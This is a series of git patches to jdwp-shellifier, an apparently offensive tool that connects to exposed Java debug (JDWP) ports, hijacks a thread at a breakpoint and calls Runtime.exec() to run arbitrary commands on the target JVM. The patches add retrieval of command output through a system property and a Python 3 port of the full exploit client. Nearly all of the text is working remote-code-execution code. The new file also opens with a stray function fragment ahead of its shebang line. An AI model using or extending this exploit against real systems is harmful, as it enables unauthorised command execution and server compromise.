From 960787350c280bf39e305ac3534c991290a96346 Mon Sep 17 00:00:00 2001 From: aarislarsen Date: Thu, 9 Oct 2025 09:30:06 +0200 Subject: [PATCH 1/6] Update jdwp-shellifier.py Updated version that can retrieve the output of commands up to a size of 64KB (or whatever the JVM limit is) --- jdwp-shellifier.py | 404 ++++++++++++++++++++++++++++++++++++++++++--- 1 file changed, 382 insertions(+), 22 deletions(-) diff --git a/jdwp-shellifier.py b/jdwp-shellifier.py index c44fae5..cc2a8e1 100755 --- a/jdwp-shellifier.py +++ b/jdwp-shellifier.py @@ -2,11 +2,8 @@ ################################################################################ # # Universal JDWP shellifier -# -# @_hugsy_ -# -# And special cheers to @lanjelot -# +# Original by @_hugsy_ with special cheers to @lanjelot +# Modified by Andreas Aaris-Larsen with heavy use of Claude import socket import time @@ -519,7 +516,32 @@ def runtime_exec_info(jdwp, threadId): "path.separator": "Path separator", "user.name": "User's account name", "user.home": "User's home directory", - "user.dir": "User's current working directory" + "user.dir": "User's current working directory", + "java.runtime.name": "Java Runtime Environment name", + "java.runtime.version": "Java Runtime Environment version", + "java.vm.info": "Additional JVM information", + "sun.boot.library.path": "Boot library path", + "sun.boot.class.path": "Boot class path", + "sun.java.command": "Java command line", + "sun.java.launcher": "Java launcher type", + "user.language": "User's language", + "user.country": "User's country", + "user.timezone": "User's timezone", + "file.encoding": "File encoding", + "line.separator": "Line separator", + "http.proxyHost": "HTTP proxy host", + "http.proxyPort": "HTTP proxy port", + "https.proxyHost": "HTTPS proxy host", + "https.proxyPort": "HTTPS proxy port", + "ftp.proxyHost": "FTP proxy host", + "ftp.proxyPort": "FTP proxy port", + "socksProxyHost": "SOCKS proxy host", + "socksProxyPort": "SOCKS proxy port", + "sun.arch.data.model": "Data model (32/64 bit)", + "sun.cpu.endian": "Endianness", + "sun.os.patch.level": "OS patch level", + "java.rmi.server.hostname": "RMI server hostname", + "jdwp.cmd.output": "Command output (from --cmd execution)" } systemClass = jdwp.get_class_by_name("Ljava/lang/System;") @@ -533,6 +555,9 @@ def runtime_exec_info(jdwp, threadId): print ("[-] Cannot find method System.getProperty()") return False + # Store command output separately to display at the end + cmd_output = None + for propStr, propDesc in properties.iteritems(): propObjIds = jdwp.createstring(propStr) if len(propObjIds) == 0: @@ -545,12 +570,33 @@ def runtime_exec_info(jdwp, threadId): threadId, getPropertyMeth["methodId"], *data) - if buf[0] != chr(TAG_STRING): - print ("[-] %s: Unexpected returned type: expecting String" % propStr) - else: + if buf[0] == chr(TAG_STRING): retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) res = cli.solve_string(jdwp.format(jdwp.objectIDSize, retId)) - print ("[+] Found %s '%s'" % (propDesc, res)) + if propStr == "jdwp.cmd.output": + # Store command output for later display + cmd_output = res + else: + print ("[+] Found %s '%s'" % (propDesc, res)) + elif buf[0] == chr(TAG_OBJECT): + # Property not set (returns null) + if propStr == "jdwp.cmd.output": + cmd_output = None + else: + if propStr != "jdwp.cmd.output": + print ("[-] %s: Unexpected returned type: %d" % (propStr, ord(buf[0]))) + + # Display command output at the end if available + if cmd_output is not None: + print ("") + print ("=" * 60) + print ("[*] COMMAND OUTPUT") + print ("=" * 60) + print (cmd_output) + print ("=" * 60) + else: + print ("") + print ("[-] No command output stored in properties") return True @@ -596,12 +642,284 @@ def runtime_exec_payload(jdwp, threadId, runtimeClassId, getRuntimeMethId, comma print ("[-] Unexpected returned type: expecting Object") return False - retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) - print ("[+] Runtime.exec() successful, retId=%x" % retId) + processId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) + print ("[+] Runtime.exec() successful, processId=%x" % processId) + + # 5. Capture command output + output = capture_process_output(jdwp, threadId, processId) + if output: + print ("[+] Command output captured, storing in system property") + store_output_in_property(jdwp, threadId, output) + print ("[+] Output stored in 'jdwp.cmd.output' property") + print ("[+] Run without --cmd to retrieve output via properties") + else: + print ("[-] Failed to capture command output") return True +def capture_process_output(jdwp, threadId, processId): + """ + Captures stdout from a Process object by: + 1. Getting Process class reference + 2. Calling getInputStream() on Process object + 3. Reading from InputStream using InputStreamReader and BufferedReader + """ + try: + # Get Process class + processClass = jdwp.get_class_by_name("Ljava/lang/Process;") + if processClass is None: + print ("[-] Cannot find class Process") + return None + + # Wait for process to complete + jdwp.get_methods(processClass["refTypeId"]) + waitForMeth = jdwp.get_method_by_name("waitFor") + if waitForMeth: + print ("[+] Waiting for process to complete...") + jdwp.invoke(processId, threadId, processClass["refTypeId"], + waitForMeth["methodId"]) + print ("[+] Process completed") + + # Get getInputStream() method + getInputStreamMeth = jdwp.get_method_by_name("getInputStream") + if getInputStreamMeth is None: + print ("[-] Cannot find method Process.getInputStream()") + return None + + # Call getInputStream() on Process object + buf = jdwp.invoke(processId, threadId, processClass["refTypeId"], + getInputStreamMeth["methodId"]) + if buf[0] != chr(TAG_OBJECT): + print ("[-] Failed to get InputStream") + return None + + inputStreamId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) + print ("[+] Got InputStream id:%#x" % inputStreamId) + + # Use BufferedReader to read output + return capture_with_bufferedreader(jdwp, threadId, inputStreamId) + + except Exception as e: + print ("[-] Exception in capture_process_output: %s" % e) + return None + + +def capture_with_bufferedreader(jdwp, threadId, inputStreamId): + """ + Uses java.io.BufferedReader + InputStreamReader to read InputStream content + This approach manually reads available bytes instead of instantiating new objects + """ + try: + # Simpler approach: read bytes directly from InputStream + inputStreamClass = jdwp.get_class_by_name("Ljava/io/InputStream;") + if inputStreamClass is None: + print ("[-] Cannot find class InputStream") + return None + + jdwp.get_methods(inputStreamClass["refTypeId"]) + + # Get available() method to check how many bytes can be read + availableMeth = None + for method in jdwp.methods[inputStreamClass["refTypeId"]]: + if method["name"] == "available": + availableMeth = method + break + + if availableMeth is None: + print ("[-] Cannot find InputStream.available()") + return None + + # Call available() + buf = jdwp.invoke(inputStreamId, threadId, inputStreamClass["refTypeId"], + availableMeth["methodId"]) + + # Available returns int (TAG_INT = 73 = 'I') + if buf[0] != 'I': + print ("[-] available() unexpected return type") + return None + + availableBytes = struct.unpack(">I", buf[1:5])[0] + print ("[+] Available bytes to read: %d" % availableBytes) + + if availableBytes == 0: + print ("[-] No output available from command") + return None + + # Use StringBuilder approach - read all bytes and convert to String + output = read_inputstream_bytes(jdwp, threadId, inputStreamId, inputStreamClass["refTypeId"]) + + if output: + print ("[+] Captured output (%d bytes)" % len(output)) + + return output + + except Exception as e: + print ("[-] Exception in capture_with_bufferedreader: %s" % e) + import traceback + traceback.print_exc() + return None + + +def read_inputstream_bytes(jdwp, threadId, inputStreamId, inputStreamClassId): + """ + Reads all bytes from InputStream using IOUtils or similar utility + """ + try: + # Try to use Apache Commons IOUtils.toString() if available + # This is commonly available in Java web applications + ioUtilsClass = jdwp.get_class_by_name("Lorg/apache/commons/io/IOUtils;") + + if ioUtilsClass: + print ("[+] Using Apache Commons IOUtils") + jdwp.get_methods(ioUtilsClass["refTypeId"]) + + toStringMeth = None + for method in jdwp.methods[ioUtilsClass["refTypeId"]]: + if method["name"] == "toString" and "(Ljava/io/InputStream;" in method["signature"]: + toStringMeth = method + break + + if toStringMeth: + data = [chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, inputStreamId)] + buf = jdwp.invokestatic(ioUtilsClass["refTypeId"], threadId, + toStringMeth["methodId"], *data) + + if buf[0] == chr(TAG_STRING): + outputId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) + output = jdwp.solve_string(jdwp.format(jdwp.objectIDSize, outputId)) + return output + + # Fallback: Use InputStreamReader + read char array approach + print ("[+] Using InputStreamReader fallback") + return read_with_inputstreamreader(jdwp, threadId, inputStreamId) + + except Exception as e: + print ("[-] Exception in read_inputstream_bytes: %s" % e) + import traceback + traceback.print_exc() + return None + + +def read_with_inputstreamreader(jdwp, threadId, inputStreamId): + """ + Alternative approach: Convert InputStream to String using InputStreamReader + and read() in a loop, building a StringBuilder + """ + try: + # This approach avoids byte arrays: + # 1. Create StringBuilder + # 2. Create InputStreamReader(inputStream) + # 3. Read chars and append to StringBuilder + # 4. Return StringBuilder.toString() + + # For simplicity and reliability, read available bytes using read() + # but with progress indication + inputStreamClass = jdwp.get_class_by_name("Ljava/io/InputStream;") + jdwp.get_methods(inputStreamClass["refTypeId"]) + + readMeth = None + for method in jdwp.methods[inputStreamClass["refTypeId"]]: + if method["name"] == "read" and method["signature"] == "()I": + readMeth = method + break + + if readMeth is None: + print ("[-] Cannot find InputStream.read()") + return None + + output_bytes = [] + max_bytes = 65536 + last_progress = 0 + + sys.stdout.write("[+] Reading output") + sys.stdout.flush() + + for i in range(max_bytes): + buf = jdwp.invoke(inputStreamId, threadId, inputStreamClass["refTypeId"], + readMeth["methodId"]) + + if buf[0] != 'I': + sys.stdout.write("\n") + print ("[-] read() unexpected return type") + break + + byte_val = struct.unpack(">i", buf[1:5])[0] + + if byte_val == -1: + break + + output_bytes.append(chr(byte_val & 0xFF)) + + # Progress indicator every 100 bytes + if len(output_bytes) % 100 == 0 and len(output_bytes) != last_progress: + sys.stdout.write(".") + sys.stdout.flush() + last_progress = len(output_bytes) + + sys.stdout.write("\n") + + if len(output_bytes) == 0: + return None + + return ''.join(output_bytes) + + except Exception as e: + print ("[-] Exception in read_with_inputstreamreader: %s" % e) + return None + + +def store_output_in_property(jdwp, threadId, output): + """ + Stores output in system property 'jdwp.cmd.output' using System.setProperty() + """ + try: + # Get System class + systemClass = jdwp.get_class_by_name("Ljava/lang/System;") + if systemClass is None: + print ("[-] Cannot find class System") + return False + + # Get setProperty method + jdwp.get_methods(systemClass["refTypeId"]) + setPropertyMeth = None + for method in jdwp.methods[systemClass["refTypeId"]]: + if method["name"] == "setProperty": + setPropertyMeth = method + break + + if setPropertyMeth is None: + print ("[-] Cannot find System.setProperty()") + return False + + # Create property name string + propNameObjIds = jdwp.createstring("jdwp.cmd.output") + if len(propNameObjIds) == 0: + return False + propNameObjId = propNameObjIds[0]["objId"] + + # Create property value string (the output) + propValueObjIds = jdwp.createstring(output) + if len(propValueObjIds) == 0: + return False + propValueObjId = propValueObjIds[0]["objId"] + + # Call System.setProperty(name, value) + data = [ + chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, propNameObjId), + chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, propValueObjId) + ] + + jdwp.invokestatic(systemClass["refTypeId"], threadId, + setPropertyMeth["methodId"], *data) + + return True + + except Exception as e: + print ("[-] Exception in store_output_in_property: %s" % e) + return False + + def str2fqclass(s): i = s.rfind('.') if i == -1: @@ -624,6 +942,8 @@ def str2fqclass(s): default="java.net.ServerSocket.accept", help="Specify full path to method to break on") parser.add_argument("--cmd", dest="cmd", type=str, metavar="COMMAND", help="Specify command to execute remotely") + parser.add_argument("--cmd-with-output", dest="cmd_with_output", type=str, metavar="COMMAND", + help="Execute command and automatically retrieve output") args = parser.parse_args() @@ -634,12 +954,57 @@ def str2fqclass(s): retcode = 0 try: - cli = JDWPClient(args.target, args.port) - cli.start() + # Handle --cmd-with-output: execute command, then retrieve output + if args.cmd_with_output: + print ("[+] Executing command with output retrieval mode") + print ("") + + # First execution: run command and store output + print ("=" * 60) + print ("[*] PHASE 1: Executing command and storing output") + print ("=" * 60) + args.cmd = args.cmd_with_output + + cli = JDWPClient(args.target, args.port) + cli.start() + + if runtime_exec(cli, args) == False: + print ("[-] Exploit failed in execution phase") + retcode = 1 + cli.leave() + else: + cli.leave() + + # Small delay to ensure property is set + print ("") + print ("[+] Waiting 2 seconds before retrieving output...") + time.sleep(2) + + # Second execution: retrieve output + print ("") + print ("=" * 60) + print ("[*] PHASE 2: Retrieving command output") + print ("=" * 60) + args.cmd = None + + cli = JDWPClient(args.target, args.port) + cli.start() + + if runtime_exec(cli, args) == False: + print ("[-] Exploit failed in retrieval phase") + retcode = 1 - if runtime_exec(cli, args) == False: - print ("[-] Exploit failed") - retcode = 1 + cli.leave() + else: + # Normal execution mode + cli = JDWPClient(args.target, args.port) + cli.start() + + if runtime_exec(cli, args) == False: + print ("[-] Exploit failed") + retcode = 1 + + cli.leave() except KeyboardInterrupt: print ("[+] Exiting on user's request") @@ -647,10 +1012,5 @@ def str2fqclass(s): except Exception as e: print ("[-] Exception: %s" % e) retcode = 1 - cli = None - - finally: - if cli: - cli.leave() sys.exit(retcode) From a9abc867f7cdf64e6fb9e1ada9b2511228a8eb96 Mon Sep 17 00:00:00 2001 From: aarislarsen Date: Thu, 9 Oct 2025 09:58:26 +0200 Subject: [PATCH 2/6] Create jdwp-shellifier3.py a version ported to python3, adding -v (verbose) mode when run with --cmd-with-output --- jdwp-shellifier3.py | 1072 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 1072 insertions(+) create mode 100644 jdwp-shellifier3.py diff --git a/jdwp-shellifier3.py b/jdwp-shellifier3.py new file mode 100644 index 0000000..0c3f17d --- /dev/null +++ b/jdwp-shellifier3.py @@ -0,0 +1,1072 @@ +def capture_with_bufferedreader(jdwp, threadId, inputStreamId, verbose=True): + """ + Reads InputStream content efficiently using byte array reads + """ + try: + # Try IOUtils first (fastest method) + output = read_inputstream_bytes(jdwp, threadId, inputStreamId, None, verbose) + + if output: + if verbose: + print("[+] Captured output (%d bytes)" % len(output)) + return output + + # Fallback to byte-by-byte read + return read_with_inputstreamreader(jdwp, threadId, inputStreamId, verbose) + + except Exception as e: + if verbose: + print("[-] Exception in capture_with_bufferedreader: %s" % e) + import traceback + traceback.print_exc() + return None#!/usr/bin/env python3 +################################################################################ +# +# Universal JDWP shellifier +# +# @_hugsy_ +# +# And special cheers to @lanjelot +# + +import socket +import time +import sys +import struct +import argparse + + +################################################################################ +# +# JDWP protocol variables +# +HANDSHAKE = b"JDWP-Handshake" + +REQUEST_PACKET_TYPE = 0x00 +REPLY_PACKET_TYPE = 0x80 + +# Command signatures +VERSION_SIG = (1, 1) +CLASSESBYSIGNATURE_SIG = (1, 2) +ALLCLASSES_SIG = (1, 3) +ALLTHREADS_SIG = (1, 4) +IDSIZES_SIG = (1, 7) +CREATESTRING_SIG = (1, 11) +SUSPENDVM_SIG = (1, 8) +RESUMEVM_SIG = (1, 9) +SIGNATURE_SIG = (2, 1) +FIELDS_SIG = (2, 4) +METHODS_SIG = (2, 5) +GETVALUES_SIG = (2, 6) +CLASSOBJECT_SIG = (2, 11) +INVOKESTATICMETHOD_SIG = (3, 3) +REFERENCETYPE_SIG = (9, 1) +INVOKEMETHOD_SIG = (9, 6) +STRINGVALUE_SIG = (10, 1) +THREADNAME_SIG = (11, 1) +THREADSUSPEND_SIG = (11, 2) +THREADRESUME_SIG = (11, 3) +THREADSTATUS_SIG = (11, 4) +EVENTSET_SIG = (15, 1) +EVENTCLEAR_SIG = (15, 2) +EVENTCLEARALL_SIG = (15, 3) + +# Other codes +MODKIND_COUNT = 1 +MODKIND_THREADONLY = 2 +MODKIND_CLASSMATCH = 5 +MODKIND_LOCATIONONLY = 7 +EVENT_BREAKPOINT = 2 +SUSPEND_EVENTTHREAD = 1 +SUSPEND_ALL = 2 +NOT_IMPLEMENTED = 99 +VM_DEAD = 112 +INVOKE_SINGLE_THREADED = 2 +TAG_OBJECT = 76 +TAG_STRING = 115 +TYPE_CLASS = 1 + + +################################################################################ +# +# JDWP client class +# +class JDWPClient: + + def __init__(self, host, port=8000): + self.host = host + self.port = port + self.methods = {} + self.fields = {} + self.id = 0x01 + return + + def create_packet(self, cmdsig, data=b""): + flags = 0x00 + cmdset, cmd = cmdsig + pktlen = len(data) + 11 + pkt = struct.pack(">IIccc", pktlen, self.id, bytes([flags]), bytes([cmdset]), bytes([cmd])) + pkt += data + self.id += 2 + return pkt + + def read_reply(self): + header = self.socket.recv(11) + pktlen, id, flags, errcode = struct.unpack(">IIcH", header) + + if flags[0] == REPLY_PACKET_TYPE: + if errcode: + raise Exception("Received errcode %d" % errcode) + + buf = b"" + while len(buf) + 11 < pktlen: + data = self.socket.recv(1024) + if len(data): + buf += data + else: + time.sleep(1) + return buf + + def parse_entries(self, buf, formats, explicit=True): + entries = [] + index = 0 + + if explicit: + nb_entries = struct.unpack(">I", buf[:4])[0] + buf = buf[4:] + else: + nb_entries = 1 + + for i in range(nb_entries): + data = {} + for fmt, name in formats: + if fmt == "L" or fmt == 8: + data[name] = int(struct.unpack(">Q", buf[index:index+8])[0]) + index += 8 + elif fmt == "I" or fmt == 4: + data[name] = int(struct.unpack(">I", buf[index:index+4])[0]) + index += 4 + elif fmt == 'S': + l = struct.unpack(">I", buf[index:index+4])[0] + data[name] = buf[index+4:index+4+l].decode('utf-8') + index += 4+l + elif fmt == 'C': + data[name] = buf[index] + index += 1 + elif fmt == 'Z': + t = buf[index] + if t == 115: + s = self.solve_string(buf[index+1:index+9]) + data[name] = s + index += 9 + elif t == 73: + data[name] = struct.unpack(">I", buf[index+1:index+5])[0] + buf = struct.unpack(">I", buf[index+5:index+9]) + index = 0 + else: + print("Error") + sys.exit(1) + + entries.append(data) + + return entries + + def format(self, fmt, value): + if fmt == "L" or fmt == 8: + return struct.pack(">Q", value) + elif fmt == "I" or fmt == 4: + return struct.pack(">I", value) + + raise Exception("Unknown format") + + def unformat(self, fmt, value): + if fmt == "L" or fmt == 8: + return struct.unpack(">Q", value[:8])[0] + elif fmt == "I" or fmt == 4: + return struct.unpack(">I", value[:4])[0] + else: + raise Exception("Unknown format") + + def start(self): + self.handshake(self.host, self.port) + self.idsizes() + self.getversion() + # Lazy load classes only when needed + return + + def handshake(self, host, port): + s = socket.socket() + s.settimeout(30) # 30 second timeout + try: + s.connect((host, port)) + except socket.error as msg: + raise Exception("Failed to connect: %s" % msg) + + s.send(HANDSHAKE) + + if s.recv(len(HANDSHAKE)) != HANDSHAKE: + raise Exception("Failed to handshake") + else: + self.socket = s + + return + + def leave(self): + self.socket.close() + return + + def getversion(self): + self.socket.sendall(self.create_packet(VERSION_SIG)) + buf = self.read_reply() + formats = [('S', "description"), ('I', "jdwpMajor"), ('I', "jdwpMinor"), + ('S', "vmVersion"), ('S', "vmName"),] + for entry in self.parse_entries(buf, formats, False): + for name, value in entry.items(): + setattr(self, name, value) + return + + @property + def version(self): + return "%s - %s" % (self.vmName, self.vmVersion) + + def idsizes(self): + self.socket.sendall(self.create_packet(IDSIZES_SIG)) + buf = self.read_reply() + formats = [("I", "fieldIDSize"), ("I", "methodIDSize"), ("I", "objectIDSize"), + ("I", "referenceTypeIDSize"), ("I", "frameIDSize")] + for entry in self.parse_entries(buf, formats, False): + for name, value in entry.items(): + setattr(self, name, value) + return + + def allthreads(self): + try: + getattr(self, "threads") + except: + self.socket.sendall(self.create_packet(ALLTHREADS_SIG)) + buf = self.read_reply() + formats = [(self.objectIDSize, "threadId")] + self.threads = self.parse_entries(buf, formats) + finally: + return self.threads + + def get_thread_by_name(self, name): + self.allthreads() + for t in self.threads: + threadId = self.format(self.objectIDSize, t["threadId"]) + self.socket.sendall(self.create_packet(THREADNAME_SIG, data=threadId)) + buf = self.read_reply() + if len(buf) and name == self.readstring(buf): + return t + return None + + def allclasses(self): + try: + getattr(self, "classes") + except: + self.socket.sendall(self.create_packet(ALLCLASSES_SIG)) + buf = self.read_reply() + formats = [('C', "refTypeTag"), + (self.referenceTypeIDSize, "refTypeId"), + ('S', "signature"), + ('I', "status")] + self.classes = self.parse_entries(buf, formats) + finally: + return self.classes + + def get_class_by_name(self, name): + for entry in self.classes: + if entry["signature"].lower() == name.lower(): + return entry + return None + + def get_methods(self, refTypeId): + if refTypeId not in self.methods: + refId = self.format(self.referenceTypeIDSize, refTypeId) + self.socket.sendall(self.create_packet(METHODS_SIG, data=refId)) + buf = self.read_reply() + formats = [(self.methodIDSize, "methodId"), + ('S', "name"), + ('S', "signature"), + ('I', "modBits")] + self.methods[refTypeId] = self.parse_entries(buf, formats) + return self.methods[refTypeId] + + def get_method_by_name(self, name): + for refId in self.methods.keys(): + for entry in self.methods[refId]: + if entry["name"].lower() == name.lower(): + return entry + return None + + def getfields(self, refTypeId): + if refTypeId not in self.fields: + refId = self.format(self.referenceTypeIDSize, refTypeId) + self.socket.sendall(self.create_packet(FIELDS_SIG, data=refId)) + buf = self.read_reply() + formats = [(self.fieldIDSize, "fieldId"), + ('S', "name"), + ('S', "signature"), + ('I', "modbits")] + self.fields[refTypeId] = self.parse_entries(buf, formats) + return self.fields[refTypeId] + + def getvalue(self, refTypeId, fieldId): + data = self.format(self.referenceTypeIDSize, refTypeId) + data += struct.pack(">I", 1) + data += self.format(self.fieldIDSize, fieldId) + self.socket.sendall(self.create_packet(GETVALUES_SIG, data=data)) + buf = self.read_reply() + formats = [("Z", "value")] + field = self.parse_entries(buf, formats)[0] + return field + + def createstring(self, data): + buf = self.buildstring(data) + self.socket.sendall(self.create_packet(CREATESTRING_SIG, data=buf)) + buf = self.read_reply() + return self.parse_entries(buf, [(self.objectIDSize, "objId")], False) + + def buildstring(self, data): + if isinstance(data, str): + data = data.encode('utf-8') + return struct.pack(">I", len(data)) + data + + def readstring(self, data): + size = struct.unpack(">I", data[:4])[0] + return data[4:4+size].decode('utf-8') + + def suspendvm(self): + self.socket.sendall(self.create_packet(SUSPENDVM_SIG)) + self.read_reply() + return + + def resumevm(self): + self.socket.sendall(self.create_packet(RESUMEVM_SIG)) + self.read_reply() + return + + def invokestatic(self, classId, threadId, methId, *args): + data = self.format(self.referenceTypeIDSize, classId) + data += self.format(self.objectIDSize, threadId) + data += self.format(self.methodIDSize, methId) + data += struct.pack(">I", len(args)) + for arg in args: + data += arg + data += struct.pack(">I", 0) + + self.socket.sendall(self.create_packet(INVOKESTATICMETHOD_SIG, data=data)) + buf = self.read_reply() + return buf + + def invoke(self, objId, threadId, classId, methId, *args): + data = self.format(self.objectIDSize, objId) + data += self.format(self.objectIDSize, threadId) + data += self.format(self.referenceTypeIDSize, classId) + data += self.format(self.methodIDSize, methId) + data += struct.pack(">I", len(args)) + for arg in args: + data += arg + data += struct.pack(">I", 0) + + self.socket.sendall(self.create_packet(INVOKEMETHOD_SIG, data=data)) + buf = self.read_reply() + return buf + + def solve_string(self, objId): + self.socket.sendall(self.create_packet(STRINGVALUE_SIG, data=objId)) + buf = self.read_reply() + if len(buf): + return self.readstring(buf) + else: + return "" + + def query_thread(self, threadId, kind): + data = self.format(self.objectIDSize, threadId) + self.socket.sendall(self.create_packet(kind, data=data)) + buf = self.read_reply() + return + + def suspend_thread(self, threadId): + return self.query_thread(threadId, THREADSUSPEND_SIG) + + def status_thread(self, threadId): + return self.query_thread(threadId, THREADSTATUS_SIG) + + def resume_thread(self, threadId): + return self.query_thread(threadId, THREADRESUME_SIG) + + def send_event(self, eventCode, *args): + data = b"" + data += bytes([eventCode]) + data += bytes([SUSPEND_ALL]) + data += struct.pack(">I", len(args)) + + for kind, option in args: + data += bytes([kind]) + data += option + + self.socket.sendall(self.create_packet(EVENTSET_SIG, data=data)) + buf = self.read_reply() + return struct.unpack(">I", buf)[0] + + def clear_event(self, eventCode, rId): + data = bytes([eventCode]) + data += struct.pack(">I", rId) + self.socket.sendall(self.create_packet(EVENTCLEAR_SIG, data=data)) + self.read_reply() + return + + def clear_events(self): + self.socket.sendall(self.create_packet(EVENTCLEARALL_SIG)) + self.read_reply() + return + + def wait_for_event(self): + buf = self.read_reply() + return buf + + def parse_event_breakpoint(self, buf, eventId): + num = struct.unpack(">I", buf[2:6])[0] + rId = struct.unpack(">I", buf[6:10])[0] + if rId != eventId: + return None + tId = self.unformat(self.objectIDSize, buf[10:10+self.objectIDSize]) + loc = -1 # don't care + return rId, tId, loc + + +def runtime_exec(jdwp, args): + verbose = getattr(args, 'verbose', True) + + if verbose: + print("[+] Targeting '%s:%d'" % (args.target, args.port)) + print("[+] Reading settings for '%s'" % jdwp.version) + + # Lazy load classes + jdwp.allclasses() + + # 1. get Runtime class reference + runtimeClass = jdwp.get_class_by_name("Ljava/lang/Runtime;") + if runtimeClass is None: + if verbose: + print("[-] Cannot find class Runtime") + return False + if verbose: + print("[+] Found Runtime class: id=%x" % runtimeClass["refTypeId"]) + + # 2. get getRuntime() meth reference + jdwp.get_methods(runtimeClass["refTypeId"]) + getRuntimeMeth = jdwp.get_method_by_name("getRuntime") + if getRuntimeMeth is None: + if verbose: + print("[-] Cannot find method Runtime.getRuntime()") + return False + if verbose: + print("[+] Found Runtime.getRuntime(): id=%x" % getRuntimeMeth["methodId"]) + + # 3. setup breakpoint on frequently called method + c = jdwp.get_class_by_name(args.break_on_class) + if c is None: + if verbose: + print("[-] Could not access class '%s'" % args.break_on_class) + print("[-] It is possible that this class is not used by application") + print("[-] Test with another one with option `--break-on`") + return False + + jdwp.get_methods(c["refTypeId"]) + m = jdwp.get_method_by_name(args.break_on_method) + if m is None: + if verbose: + print("[-] Could not access method '%s'" % args.break_on) + return False + + loc = bytes([TYPE_CLASS]) + loc += jdwp.format(jdwp.referenceTypeIDSize, c["refTypeId"]) + loc += jdwp.format(jdwp.methodIDSize, m["methodId"]) + loc += struct.pack(">II", 0, 0) + data = [(MODKIND_LOCATIONONLY, loc),] + rId = jdwp.send_event(EVENT_BREAKPOINT, *data) + if verbose: + print("[+] Created break event id=%x" % rId) + + # 4. resume vm and wait for event + jdwp.resumevm() + + if verbose: + print("[+] Waiting for an event on '%s'" % args.break_on) + else: + sys.stdout.write("[*] Waiting for breakpoint") + sys.stdout.flush() + + while True: + buf = jdwp.wait_for_event() + ret = jdwp.parse_event_breakpoint(buf, rId) + if ret is not None: + break + if not verbose: + sys.stdout.write(".") + sys.stdout.flush() + + if not verbose: + sys.stdout.write(" hit\n") + + rId, tId, loc = ret + if verbose: + print("[+] Received matching event from thread %#x" % tId) + + jdwp.clear_event(EVENT_BREAKPOINT, rId) + + # 5. Now we can execute any code + if args.cmd: + runtime_exec_payload(jdwp, tId, runtimeClass["refTypeId"], getRuntimeMeth["methodId"], args.cmd, verbose) + else: + # by default, only prints out few system properties + runtime_exec_info(jdwp, tId, verbose) + + jdwp.resumevm() + + if verbose: + print("[!] Command successfully executed") + + return True + + +def runtime_exec_info(jdwp, threadId, verbose=True): + # + # This function calls java.lang.System.getProperties() and + # displays OS properties (non-intrusive) + # + properties = {"java.version": "Java Runtime Environment version", + "java.vendor": "Java Runtime Environment vendor", + "java.vendor.url": "Java vendor URL", + "java.home": "Java installation directory", + "java.vm.specification.version": "Java Virtual Machine specification version", + "java.vm.specification.vendor": "Java Virtual Machine specification vendor", + "java.vm.specification.name": "Java Virtual Machine specification name", + "java.vm.version": "Java Virtual Machine implementation version", + "java.vm.vendor": "Java Virtual Machine implementation vendor", + "java.vm.name": "Java Virtual Machine implementation name", + "java.specification.version": "Java Runtime Environment specification version", + "java.specification.vendor": "Java Runtime Environment specification vendor", + "java.specification.name": "Java Runtime Environment specification name", + "java.class.version": "Java class format version number", + "java.class.path": "Java class path", + "java.library.path": "List of paths to search when loading libraries", + "java.io.tmpdir": "Default temp file path", + "java.compiler": "Name of JIT compiler to use", + "java.ext.dirs": "Path of extension directory or directories", + "os.name": "Operating system name", + "os.arch": "Operating system architecture", + "os.version": "Operating system version", + "file.separator": "File separator", + "path.separator": "Path separator", + "user.name": "User's account name", + "user.home": "User's home directory", + "user.dir": "User's current working directory", + "java.runtime.name": "Java Runtime Environment name", + "java.runtime.version": "Java Runtime Environment version", + "java.vm.info": "Additional JVM information", + "sun.boot.library.path": "Boot library path", + "sun.boot.class.path": "Boot class path", + "sun.java.command": "Java command line", + "sun.java.launcher": "Java launcher type", + "user.language": "User's language", + "user.country": "User's country", + "user.timezone": "User's timezone", + "file.encoding": "File encoding", + "line.separator": "Line separator", + "http.proxyHost": "HTTP proxy host", + "http.proxyPort": "HTTP proxy port", + "https.proxyHost": "HTTPS proxy host", + "https.proxyPort": "HTTPS proxy port", + "ftp.proxyHost": "FTP proxy host", + "ftp.proxyPort": "FTP proxy port", + "socksProxyHost": "SOCKS proxy host", + "socksProxyPort": "SOCKS proxy port", + "sun.arch.data.model": "Data model (32/64 bit)", + "sun.cpu.endian": "Endianness", + "sun.os.patch.level": "OS patch level", + "java.rmi.server.hostname": "RMI server hostname", + "jdwp.cmd.output": "Command output (from --cmd execution)" + } + + systemClass = jdwp.get_class_by_name("Ljava/lang/System;") + if systemClass is None: + if verbose: + print("[-] Cannot find class java.lang.System") + return False + + jdwp.get_methods(systemClass["refTypeId"]) + getPropertyMeth = jdwp.get_method_by_name("getProperty") + if getPropertyMeth is None: + if verbose: + print("[-] Cannot find method System.getProperty()") + return False + + # Store command output separately to display at the end + cmd_output = None + + for propStr, propDesc in properties.items(): + propObjIds = jdwp.createstring(propStr) + if len(propObjIds) == 0: + if verbose: + print("[-] Failed to allocate command") + return False + propObjId = propObjIds[0]["objId"] + + data = [bytes([TAG_OBJECT]) + jdwp.format(jdwp.objectIDSize, propObjId),] + buf = jdwp.invokestatic(systemClass["refTypeId"], + threadId, + getPropertyMeth["methodId"], + *data) + if buf[0] == TAG_STRING: + retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) + res = jdwp.solve_string(jdwp.format(jdwp.objectIDSize, retId)) + if propStr == "jdwp.cmd.output": + # Store command output for later display + cmd_output = res + else: + if verbose: + print("[+] Found %s '%s'" % (propDesc, res)) + elif buf[0] == TAG_OBJECT: + # Property not set (returns null) + if propStr == "jdwp.cmd.output": + cmd_output = None + else: + if propStr != "jdwp.cmd.output" and verbose: + print("[-] %s: Unexpected returned type: %d" % (propStr, buf[0])) + + # Display command output at the end if available + if cmd_output is not None: + print("") + print("=" * 60) + print("[*] COMMAND OUTPUT") + print("=" * 60) + print(cmd_output) + print("=" * 